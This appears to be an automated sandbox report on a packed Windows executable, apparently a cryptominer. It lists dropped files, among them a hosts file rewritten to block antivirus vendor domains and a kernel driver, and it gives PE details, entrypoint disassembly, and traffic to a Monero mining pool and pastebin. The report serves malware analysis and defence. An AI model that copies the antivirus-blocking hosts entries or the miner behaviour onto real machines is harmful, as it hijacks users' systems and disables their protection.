                                              SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                              MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                              SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                              SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                              SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                              Malicious:false
                                              Preview:# PowerShell test file to determine AppLocker lockdown mode

                                              C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_p2avagug.tzi.psm1

                                              Download File
                                              Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                              File Type:ASCII text, with no line terminators
                                              Category:dropped
                                              Size (bytes):60
                                              Entropy (8bit):4.038920595031593
                                              Encrypted:false
                                              SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                              MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                              SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                              SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                              SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                              Malicious:false
                                              Preview:# PowerShell test file to determine AppLocker lockdown mode

                                              C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_tn0yqrf4.k2r.ps1

                                              Download File
                                              Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                              File Type:ASCII text, with no line terminators
                                              Category:dropped
                                              Size (bytes):60
                                              Entropy (8bit):4.038920595031593
                                              Encrypted:false
                                              SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                              MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                              SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                              SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                              SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                              Malicious:false
                                              Preview:# PowerShell test file to determine AppLocker lockdown mode

                                              C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                              Download File
                                              Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                              File Type:data
                                              Category:dropped
                                              Size (bytes):64
                                              Entropy (8bit):1.1510207563435464
                                              Encrypted:false
                                              SSDEEP:3:Nlllul2lllllZ:NllUClll
                                              MD5:4D98AF7F487E62A9C1D44B02674BAB7E
                                              SHA1:1B492B2208949EB7F18C32F309C296B4258DBA65
                                              SHA-256:1E3ED9CE6343DA27C6759A0F05D6DD0B92B3A9C63B6492A2DA4E4F371D9F56DA
                                              SHA-512:60EC859B84836E865E767FE858E70ACEC6F0FB8077B2E51D6CB4095533433B791C9A16396D69279C7F896DF003A1ED6656087B43EFA16523DA4026317CBB49E6
                                              Malicious:false
                                              Preview:@...e.................................:..............@..........

                                              C:\Windows\System32\drivers\etc\hosts

                                              Download File
                                              Process:C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.9790.15318.exe
                                              File Type:ASCII text, with CRLF line terminators
                                              Category:dropped
                                              Size (bytes):2748
                                              Entropy (8bit):4.269302338623222
                                              Encrypted:false
                                              SSDEEP:48:vDZhyoZWM9rU5fFcDL6iCW1RiJ9rn5w0K:vDZEurK9XiCW1RiXn54
                                              MD5:7B1D6A1E1228728A16B66C3714AA9A23
                                              SHA1:8B59677A3560777593B1FA7D67465BBD7B3BC548
                                              SHA-256:3F15965D0159A818849134B3FBB016E858AC50EFDF67BFCD762606AC51831BC5
                                              SHA-512:573B68C9865416EA2F9CF5C614FCEDBFE69C67BD572BACEC81C1756E711BD90FCFEE93E17B74FB294756ADF67AD18845A56C87F7F870940CBAEB3A579146A3B6
                                              Malicious:true
                                              Preview:# Copyright (c) 1993-2009 Microsoft Corp...#..# This is a sample HOSTS file used by Microsoft TCP/IP for Windows...#..# This file contains the mappings of IP addresses to host names. Each..# entry should be kept on an individual line. The IP address should..# be placed in the first column followed by the corresponding host name...# The IP address and the host name should be separated by at least one..# space...#..# Additionally, comments (such as these) may be inserted on individual..# lines or following the machine name denoted by a '#' symbol...#..# For example:..#..# 102.54.94.97 rhino.acme.com # source server..# 38.25.63.10 x.acme.com # x client host....# localhost name resolution is handled within DNS itself...#.127.0.0.1 localhost..#.::1 localhost....0.0.0.0 avast.com..0.0.0.0 www.avast.com..0.0.0.0 totalav.com..0.0.0.0 www.totalav.com..0.0.0.0 scanguard.com..0.0.0.0 www.scanguard.com..

                                              C:\Windows\Temp\__PSScriptPolicyTest_luhllhsd.25z.ps1

                                              Download File
                                              Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                              File Type:ASCII text, with no line terminators
                                              Category:dropped
                                              Size (bytes):60
                                              Entropy (8bit):4.038920595031593
                                              Encrypted:false
                                              SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                              MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                              SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                              SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                              SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                              Malicious:false
                                              Preview:# PowerShell test file to determine AppLocker lockdown mode

                                              C:\Windows\Temp\__PSScriptPolicyTest_md22shq4.3ig.psm1

                                              Download File
                                              Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                              File Type:ASCII text, with no line terminators
                                              Category:dropped
                                              Size (bytes):60
                                              Entropy (8bit):4.038920595031593
                                              Encrypted:false
                                              SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                              MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                              SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                              SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                              SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                              Malicious:false
                                              Preview:# PowerShell test file to determine AppLocker lockdown mode

                                              C:\Windows\Temp\__PSScriptPolicyTest_o3vfwnkp.wws.psm1

                                              Download File
                                              Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                              File Type:ASCII text, with no line terminators
                                              Category:dropped
                                              Size (bytes):60
                                              Entropy (8bit):4.038920595031593
                                              Encrypted:false
                                              SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                              MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                              SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                              SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                              SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                              Malicious:false
                                              Preview:# PowerShell test file to determine AppLocker lockdown mode

                                              C:\Windows\Temp\__PSScriptPolicyTest_ohaf2heg.jbd.ps1

                                              Download File
                                              Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                              File Type:ASCII text, with no line terminators
                                              Category:dropped
                                              Size (bytes):60
                                              Entropy (8bit):4.038920595031593
                                              Encrypted:false
                                              SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                              MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                              SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                              SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                              SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                              Malicious:false
                                              Preview:# PowerShell test file to determine AppLocker lockdown mode

                                              C:\Windows\Temp\xeorhgblkian.sys

                                              Download File
                                              Process:C:\ProgramData\GoogleUP\Chrome\Updater.exe
                                              File Type:PE32+ executable (native) x86-64, for MS Windows
                                              Category:dropped
                                              Size (bytes):14544
                                              Entropy (8bit):6.2660301556221185
                                              Encrypted:false
                                              SSDEEP:192:nqjKhp+GQvzj3i+5T9oGYJh1wAoxhSF6OOoe068jSJUbueq1H2PIP0:qjKL+v/y+5TWGYOf2OJ06dUb+pQ
                                              MD5:0C0195C48B6B8582FA6F6373032118DA
                                              SHA1:D25340AE8E92A6D29F599FEF426A2BC1B5217299
                                              SHA-256:11BD2C9F9E2397C9A16E0990E4ED2CF0679498FE0FD418A3DFDAC60B5C160EE5
                                              SHA-512:AB28E99659F219FEC553155A0810DE90F0C5B07DC9B66BDA86D7686499FB0EC5FDDEB7CD7A3C5B77DCCB5E865F2715C2D81F4D40DF4431C92AC7860C7E01720D
                                              Malicious:true
                                              Antivirus:
                                              • Antivirus: ReversingLabs, Detection: 5%
                                              Joe Sandbox View:
                                              • Filename: setup.exe, Detection: malicious, Browse
                                              • Filename: Xbox.exe, Detection: malicious, Browse
                                              • Filename: E5r67vtBtc6.exe, Detection: malicious, Browse
                                              • Filename: Miner-XMR2.exe, Detection: malicious, Browse
                                              • Filename: DNQuHRCp7X.exe, Detection: malicious, Browse
                                              • Filename: n6o0pd9pZC.exe, Detection: malicious, Browse
                                              • Filename: lfjG1UlwP1.exe, Detection: malicious, Browse
                                              • Filename: SecuriteInfo.com.Trojan.InjectNET.17.32646.13700.exe, Detection: malicious, Browse
                                              • Filename: SecuriteInfo.com.FileRepMalware.25250.22977.exe, Detection: malicious, Browse
                                              • Filename: C0ED98D08381257B540A04C0868ECD6A628649AA70FEBCBE03778BAE532FB5BE.exe, Detection: malicious, Browse
                                              Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......5:n.q[..q[..q[..q[..}[..V.{.t[..V.}.p[..V.m.r[..V.q.p[..V.|.p[..V.x.p[..Richq[..................PE..d....&.H.........."..................P.......................................p..............................................................dP..<....`.......@..`...................p ............................................... ..p............................text............................... ..h.rdata..|.... ......................@..H.data........0......................@....pdata..`....@......................@..HINIT...."....P...................... ....rsrc........`......................@..B................................................................................................................................................................................................................................................................................

                                              Static File Info

                                              General

                                              File type:PE32+ executable (GUI) x86-64, for MS Windows
                                              Entropy (8bit):7.960067403420893
                                              TrID:
                                              • Win64 Executable GUI (202006/5) 92.65%
                                              • Win64 Executable (generic) (12005/4) 5.51%
                                              • Generic Win/DOS Executable (2004/3) 0.92%
                                              • DOS Executable Generic (2002/1) 0.92%
                                              • Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
                                              File name:SecuriteInfo.com.Win64.Evo-gen.9790.15318.exe
                                              File size:9'701'376 bytes
                                              MD5:dd3aa70adbe7894d6705ddb398155628
                                              SHA1:bb1a69a94a1fb87e934657f582a06e716305a94c
                                              SHA256:6b32ec90229466753e03ba4d9eb0c4eb225b8ca2fc5beea04f1ca4a887907c6b
                                              SHA512:1276aecfdc27830474d19360c4b975a1b432bffe4b1e12088d9363d931253adeae8781f32af5728ba2980fad60dfc8a4a9b685e450a198cd2dd5b207d119998d
                                              SSDEEP:196608:RNPW2PdkNsUE5pWMF0PJqQFcVYjV7VHSrTEitDuTw+HCwL:Lu5NGwAQx3SskDu8
                                              TLSH:2CA6226C5958371DE81EC8B08433BEC476E5892F13D8E49AFAD77E8073A641C96C2B47
                                              File Content Preview:MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d...E..f.........."......$....Q.....i..........@............................. ............`........................................

                                              File Icon

                                              Icon Hash:1729478d9c896933

                                              Static PE Info

                                              General

                                              Entrypoint:0x140cabc69
                                              Entrypoint Section:.vmp1
                                              Digitally signed:false
                                              Imagebase:0x140000000
                                              Subsystem:windows gui
                                              Image File Characteristics:EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
                                              DLL Characteristics:HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
                                              Time Stamp:0x66A2BD45 [Thu Jul 25 21:01:57 2024 UTC]
                                              TLS Callbacks:0x41038773, 0x1, 0x40001760, 0x1, 0x400017e0, 0x1
                                              CLR (.Net) Version:
                                              OS Version Major:6
                                              OS Version Minor:0
                                              File Version Major:6
                                              File Version Minor:0
                                              Subsystem Version Major:6
                                              Subsystem Version Minor:0
                                              Import Hash:5f85c353cf9895ecc2a751010283213a

                                              Entrypoint Preview

                                              Instruction
                                              push 481A25AFh
                                              call 00007F53F52D5FBFh
                                              imul esp, dword ptr [4097B168h], F8B7C818h
                                              push ds
                                              loope 00007F53F4E011A0h
                                              mov dword ptr [A7247092h], eax
                                              arpl sp, bx
                                              inc esi
                                              rcl dword ptr [esi-43h], cl
                                              scasd
                                              sub byte ptr [eax-6A5DAFA6h], bh
                                              mov al, CDh
                                              sbb ah, byte ptr [D8DA4602h]
                                              mov eax, C85B4F30h
                                              out 12h, eax
                                              mov eax, AD9DF71Dh
                                              mov al, 2Ah
                                              enter 9C25h, 58h
                                              imul edi, dword ptr [ebx+5ABDB7CFh], 9Ah
                                              sbb dword ptr [ebx-5FA08362h], esp
                                              lahf
                                              and byte ptr [31AA54D4h], bh
                                              aam 2Fh
                                              mov eax, 92D9646Eh
                                              mov al, 69h
                                              mov esi, 6E46055Eh
                                              test eax, 9CB71624h
                                              retf
                                              sbb ebx, dword ptr [eax+6Eh]
                                              stosd
                                              das
                                              in al, dx
                                              sub ecx, dword ptr [esi]
                                              mov eax, F141D8FDh
                                              mov edi, 4880BEADh
                                              or dword ptr [ecx-4Dh], edi
                                              xor cl, byte ptr [eax-37BAF903h]
                                              sbb dh, byte ptr [eax]
                                              push esi
                                              loope 00007F53F4E0115Fh
                                              push esi
                                              adc bh, dl
                                              mov dword ptr [edi+16h], ebx
                                              iretd
                                              popad
                                              jmp 00007F53E938A054h
                                              in al, dx
                                              adc ebp, esi
                                              adc edx, ebp
                                              or ecx, edi
                                              retf CFECh
                                              adc eax, 1EA11FF7h
                                              aam 6Bh
                                              pop ecx
                                              mov al, byte ptr [871A4408h]
                                              or cl, bh
                                              loop 00007F53F4E0114Fh
                                              retf 095Bh
                                              stc
                                              dec ebx
                                              int1
                                              mov edx, BEADBE4Fh
                                              shr byte ptr [000000F7h], 00000000h

                                              Data Directories

                                              NameVirtual AddressVirtual Size Is in Section
                                              IMAGE_DIRECTORY_ENTRY_EXPORT0x00x0
                                              IMAGE_DIRECTORY_ENTRY_IMPORT0xd5b3680xa0.vmp1
                                              IMAGE_DIRECTORY_ENTRY_RESOURCE0x11a10000x10c18.rsrc
                                              IMAGE_DIRECTORY_ENTRY_EXCEPTION0x119c4300x2ef8.vmp1
                                              IMAGE_DIRECTORY_ENTRY_SECURITY0x00x0
                                              IMAGE_DIRECTORY_ENTRY_BASERELOC0x11a00000xc0.reloc
                                              IMAGE_DIRECTORY_ENTRY_DEBUG0x00x0
                                              IMAGE_DIRECTORY_ENTRY_COPYRIGHT0x00x0
                                              IMAGE_DIRECTORY_ENTRY_GLOBALPTR0x00x0
                                              IMAGE_DIRECTORY_ENTRY_TLS0xcfbd900x50.vmp1
                                              IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG0x119c2f00x138.vmp1
                                              IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT0x00x0
                                              IMAGE_DIRECTORY_ENTRY_IAT0xd150000xd0.vmp1
                                              IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT0x00x0
                                              IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR0x00x0
                                              IMAGE_DIRECTORY_ENTRY_RESERVED0x00x0

                                              Sections

                                              NameVirtual AddressVirtual SizeRaw SizeMD5Xored PEZLIB ComplexityFile TypeEntropyCharacteristics
                                              .text0x10000x122760x0d41d8cd98f00b204e9800998ecf8427eFalse0empty0.0IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
                                              .rdata0x140000x32240x0d41d8cd98f00b204e9800998ecf8427eFalse0empty0.0IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                              .data0x180000x4fe3580x0d41d8cd98f00b204e9800998ecf8427eunknownunknownunknownunknownIMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                              .pdata0x5170000x1980x0d41d8cd98f00b204e9800998ecf8427eFalse0empty0.0IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                              .00cfg0x5180000x100x0d41d8cd98f00b204e9800998ecf8427eFalse0empty0.0IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                              .tls0x5190000x100x0d41d8cd98f00b204e9800998ecf8427eFalse0empty0.0IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                              .vmp00x51a0000x355ff00x0d41d8cd98f00b204e9800998ecf8427eunknownunknownunknownunknownIMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
                                              .vmp10x8700000x92f3280x92f400291ce3334ff8a47029ee49641cd0a8e4unknownunknownunknownunknownIMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_NOT_PAGED, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
                                              .reloc0x11a00000xc00x200563b7937a9769e088723d6753914c205False0.31640625data2.110409494271646IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                              .rsrc0x11a10000x10c180x10e0005d7fe6be028ecbc1e10246efbe7f144False0.08149594907407408data3.52162560652265IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

                                              Resources

                                              NameRVASizeTypeLanguageCountryZLIB Complexity
                                              RT_ICON0x11a10e80x10828Device independent bitmap graphic, 128 x 256 x 32, image size 65536, resolution 3543 x 3543 px/mEnglishUnited States0.07662959895894948
                                              RT_GROUP_ICON0x11b19100x14dataEnglishUnited States1.15
                                              RT_VERSION0x11b19280x2f0SysEx File - IDPEnglishUnited States0.449468085106383

                                              Imports

                                              DLLImport
                                              msvcrt.dll__C_specific_handler
                                              KERNEL32.dllDeleteCriticalSection
                                              WTSAPI32.dllWTSSendMessageW
                                              KERNEL32.dllGetSystemTimeAsFileTime
                                              USER32.dllGetUserObjectInformationW
                                              KERNEL32.dllLocalAlloc, LocalFree, GetModuleFileNameW, GetProcessAffinityMask, SetProcessAffinityMask, SetThreadAffinityMask, Sleep, ExitProcess, FreeLibrary, LoadLibraryA, GetModuleHandleA, GetProcAddress
                                              USER32.dllGetProcessWindowStation, GetUserObjectInformationW

                                              Possible Origin

                                              Language of compilation systemCountry where language is spokenMap
                                              EnglishUnited States

                                              Network Behavior

                                              Network Port Distribution

                                              TCP Packets

                                              TimestampSource PortDest PortSource IPDest IP
                                              Aug 2, 2024 19:25:15.013112068 CEST4970410343192.168.2.554.37.232.103
                                              Aug 2, 2024 19:25:15.017995119 CEST103434970454.37.232.103192.168.2.5
                                              Aug 2, 2024 19:25:15.018098116 CEST4970410343192.168.2.554.37.232.103
                                              Aug 2, 2024 19:25:15.018357038 CEST4970410343192.168.2.554.37.232.103
                                              Aug 2, 2024 19:25:15.023596048 CEST103434970454.37.232.103192.168.2.5
                                              Aug 2, 2024 19:25:15.818836927 CEST103434970454.37.232.103192.168.2.5
                                              Aug 2, 2024 19:25:15.818918943 CEST103434970454.37.232.103192.168.2.5
                                              Aug 2, 2024 19:25:15.818988085 CEST4970410343192.168.2.554.37.232.103
                                              Aug 2, 2024 19:25:15.819847107 CEST4970410343192.168.2.554.37.232.103
                                              Aug 2, 2024 19:25:15.824692011 CEST103434970454.37.232.103192.168.2.5
                                              Aug 2, 2024 19:25:16.140022993 CEST103434970454.37.232.103192.168.2.5
                                              Aug 2, 2024 19:25:16.144249916 CEST49705443192.168.2.5104.20.3.235
                                              Aug 2, 2024 19:25:16.144342899 CEST44349705104.20.3.235192.168.2.5
                                              Aug 2, 2024 19:25:16.144465923 CEST49705443192.168.2.5104.20.3.235
                                              Aug 2, 2024 19:25:16.155885935 CEST49705443192.168.2.5104.20.3.235
                                              Aug 2, 2024 19:25:16.155924082 CEST44349705104.20.3.235192.168.2.5
                                              Aug 2, 2024 19:25:16.182806969 CEST103434970454.37.232.103192.168.2.5
                                              Aug 2, 2024 19:25:16.185369015 CEST4970410343192.168.2.554.37.232.103
                                              Aug 2, 2024 19:25:16.741274118 CEST44349705104.20.3.235192.168.2.5
                                              Aug 2, 2024 19:25:16.742985010 CEST49705443192.168.2.5104.20.3.235
                                              Aug 2, 2024 19:25:16.743036985 CEST44349705104.20.3.235192.168.2.5
                                              Aug 2, 2024 19:25:16.745309114 CEST44349705104.20.3.235192.168.2.5
                                              Aug 2, 2024 19:25:16.745408058 CEST49705443192.168.2.5104.20.3.235
                                              Aug 2, 2024 19:25:16.748011112 CEST49705443192.168.2.5104.20.3.235
                                              Aug 2, 2024 19:25:16.748121023 CEST44349705104.20.3.235192.168.2.5
                                              Aug 2, 2024 19:25:16.748212099 CEST49705443192.168.2.5104.20.3.235
                                              Aug 2, 2024 19:25:16.748229980 CEST44349705104.20.3.235192.168.2.5
                                              Aug 2, 2024 19:25:16.801309109 CEST49705443192.168.2.5104.20.3.235
                                              Aug 2, 2024 19:25:17.294460058 CEST44349705104.20.3.235192.168.2.5
                                              Aug 2, 2024 19:25:17.294722080 CEST44349705104.20.3.235192.168.2.5
                                              Aug 2, 2024 19:25:17.294811964 CEST49705443192.168.2.5104.20.3.235
                                              Aug 2, 2024 19:25:17.301690102 CEST49705443192.168.2.5104.20.3.235
                                              Aug 2, 2024 19:25:17.301750898 CEST44349705104.20.3.235192.168.2.5
                                              Aug 2, 2024 19:25:17.302953959 CEST4970410343192.168.2.554.37.232.103
                                              Aug 2, 2024 19:25:17.302994967 CEST4970410343192.168.2.554.37.232.103
                                              Aug 2, 2024 19:25:17.303530931 CEST4970610343192.168.2.5146.59.154.106
                                              Aug 2, 2024 19:25:17.308609962 CEST1034349706146.59.154.106192.168.2.5
                                              Aug 2, 2024 19:25:17.308715105 CEST4970610343192.168.2.5146.59.154.106
                                              Aug 2, 2024 19:25:17.366333008 CEST4970610343192.168.2.5146.59.154.106
                                              Aug 2, 2024 19:25:17.371210098 CEST1034349706146.59.154.106192.168.2.5
                                              Aug 2, 2024 19:25:17.976196051 CEST1034349706146.59.154.106192.168.2.5
                                              Aug 2, 2024 19:25:17.976303101 CEST1034349706146.59.154.106192.168.2.5
                                              Aug 2, 2024 19:25:17.976362944 CEST4970610343192.168.2.5146.59.154.106
                                              Aug 2, 2024 19:25:17.977078915 CEST4970610343192.168.2.5146.59.154.106
                                              Aug 2, 2024 19:25:17.981949091 CEST1034349706146.59.154.106192.168.2.5
                                              Aug 2, 2024 19:25:18.149887085 CEST1034349706146.59.154.106192.168.2.5
                                              Aug 2, 2024 19:25:18.191809893 CEST4970610343192.168.2.5146.59.154.106
                                              Aug 2, 2024 19:25:18.292274952 CEST1034349706146.59.154.106192.168.2.5
                                              Aug 2, 2024 19:25:18.332576990 CEST4970610343192.168.2.5146.59.154.106
                                              Aug 2, 2024 19:25:28.237782955 CEST1034349706146.59.154.106192.168.2.5
                                              Aug 2, 2024 19:25:28.301177025 CEST4970610343192.168.2.5146.59.154.106
                                              Aug 2, 2024 19:25:38.251940966 CEST1034349706146.59.154.106192.168.2.5
                                              Aug 2, 2024 19:25:38.301368952 CEST4970610343192.168.2.5146.59.154.106
                                              Aug 2, 2024 19:25:48.867058039 CEST1034349706146.59.154.106192.168.2.5
                                              Aug 2, 2024 19:25:48.867074013 CEST1034349706146.59.154.106192.168.2.5
                                              Aug 2, 2024 19:25:48.867172956 CEST4970610343192.168.2.5146.59.154.106
                                              Aug 2, 2024 19:25:48.867338896 CEST1034349706146.59.154.106192.168.2.5
                                              Aug 2, 2024 19:25:48.867399931 CEST4970610343192.168.2.5146.59.154.106
                                              Aug 2, 2024 19:25:57.121320009 CEST1034349706146.59.154.106192.168.2.5
                                              Aug 2, 2024 19:25:57.176117897 CEST4970610343192.168.2.5146.59.154.106
                                              Aug 2, 2024 19:26:07.222112894 CEST1034349706146.59.154.106192.168.2.5
                                              Aug 2, 2024 19:26:07.269980907 CEST4970610343192.168.2.5146.59.154.106
                                              Aug 2, 2024 19:26:17.164221048 CEST1034349706146.59.154.106192.168.2.5
                                              Aug 2, 2024 19:26:17.207334995 CEST4970610343192.168.2.5146.59.154.106
                                              Aug 2, 2024 19:26:18.118870974 CEST1034349706146.59.154.106192.168.2.5
                                              Aug 2, 2024 19:26:18.160478115 CEST4970610343192.168.2.5146.59.154.106
                                              Aug 2, 2024 19:26:28.170435905 CEST1034349706146.59.154.106192.168.2.5
                                              Aug 2, 2024 19:26:28.223129988 CEST4970610343192.168.2.5146.59.154.106
                                              Aug 2, 2024 19:26:38.204253912 CEST1034349706146.59.154.106192.168.2.5
                                              Aug 2, 2024 19:26:38.254182100 CEST4970610343192.168.2.5146.59.154.106
                                              Aug 2, 2024 19:26:43.157679081 CEST1034349706146.59.154.106192.168.2.5
                                              Aug 2, 2024 19:26:43.207496881 CEST4970610343192.168.2.5146.59.154.106
                                              Aug 2, 2024 19:26:53.185056925 CEST1034349706146.59.154.106192.168.2.5
                                              Aug 2, 2024 19:26:53.238545895 CEST4970610343192.168.2.5146.59.154.106
                                              Aug 2, 2024 19:27:03.187995911 CEST1034349706146.59.154.106192.168.2.5
                                              Aug 2, 2024 19:27:03.246790886 CEST4970610343192.168.2.5146.59.154.106
                                              Aug 2, 2024 19:27:13.218142986 CEST1034349706146.59.154.106192.168.2.5
                                              Aug 2, 2024 19:27:13.269871950 CEST4970610343192.168.2.5146.59.154.106
                                              Aug 2, 2024 19:27:23.214582920 CEST1034349706146.59.154.106192.168.2.5
                                              Aug 2, 2024 19:27:23.269779921 CEST4970610343192.168.2.5146.59.154.106
                                              Aug 2, 2024 19:27:33.301086903 CEST1034349706146.59.154.106192.168.2.5
                                              Aug 2, 2024 19:27:33.347970963 CEST4970610343192.168.2.5146.59.154.106
                                              Aug 2, 2024 19:27:43.505139112 CEST1034349706146.59.154.106192.168.2.5
                                              Aug 2, 2024 19:27:43.551078081 CEST4970610343192.168.2.5146.59.154.106
                                              Aug 2, 2024 19:27:53.276315928 CEST1034349706146.59.154.106192.168.2.5
                                              Aug 2, 2024 19:27:53.316704035 CEST4970610343192.168.2.5146.59.154.106
                                              Aug 2, 2024 19:28:03.333800077 CEST1034349706146.59.154.106192.168.2.5
                                              Aug 2, 2024 19:28:03.379278898 CEST4970610343192.168.2.5146.59.154.106
                                              Aug 2, 2024 19:28:13.328109026 CEST1034349706146.59.154.106192.168.2.5
                                              Aug 2, 2024 19:28:13.379081964 CEST4970610343192.168.2.5146.59.154.106
                                              Aug 2, 2024 19:28:23.313947916 CEST1034349706146.59.154.106192.168.2.5
                                              Aug 2, 2024 19:28:23.363574028 CEST4970610343192.168.2.5146.59.154.106
                                              Aug 2, 2024 19:28:33.321583986 CEST1034349706146.59.154.106192.168.2.5
                                              Aug 2, 2024 19:28:33.363557100 CEST4970610343192.168.2.5146.59.154.106
                                              Aug 2, 2024 19:28:43.696985006 CEST1034349706146.59.154.106192.168.2.5
                                              Aug 2, 2024 19:28:43.698013067 CEST1034349706146.59.154.106192.168.2.5
                                              Aug 2, 2024 19:28:43.698101044 CEST4970610343192.168.2.5146.59.154.106
                                              Aug 2, 2024 19:28:53.643650055 CEST1034349706146.59.154.106192.168.2.5
                                              Aug 2, 2024 19:28:53.644301891 CEST1034349706146.59.154.106192.168.2.5
                                              Aug 2, 2024 19:28:53.644392967 CEST4970610343192.168.2.5146.59.154.106
                                              Aug 2, 2024 19:29:02.108489037 CEST1034349706146.59.154.106192.168.2.5
                                              Aug 2, 2024 19:29:02.160310030 CEST4970610343192.168.2.5146.59.154.106

                                              UDP Packets

                                              TimestampSource PortDest PortSource IPDest IP
                                              Aug 2, 2024 19:25:14.997334957 CEST5355953192.168.2.51.1.1.1
                                              Aug 2, 2024 19:25:15.009635925 CEST53535591.1.1.1192.168.2.5
                                              Aug 2, 2024 19:25:16.014770031 CEST6465353192.168.2.51.1.1.1
                                              Aug 2, 2024 19:25:16.143531084 CEST53646531.1.1.1192.168.2.5

                                              DNS Queries

                                              TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
                                              Aug 2, 2024 19:25:14.997334957 CEST192.168.2.51.1.1.10x62e3Standard query (0)xmr-eu1.nanopool.orgA (IP address)IN (0x0001)false
                                              Aug 2, 2024 19:25:16.014770031 CEST192.168.2.51.1.1.10xeacaStandard query (0)pastebin.comA (IP address)IN (0x0001)false

                                              DNS Answers

                                              TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
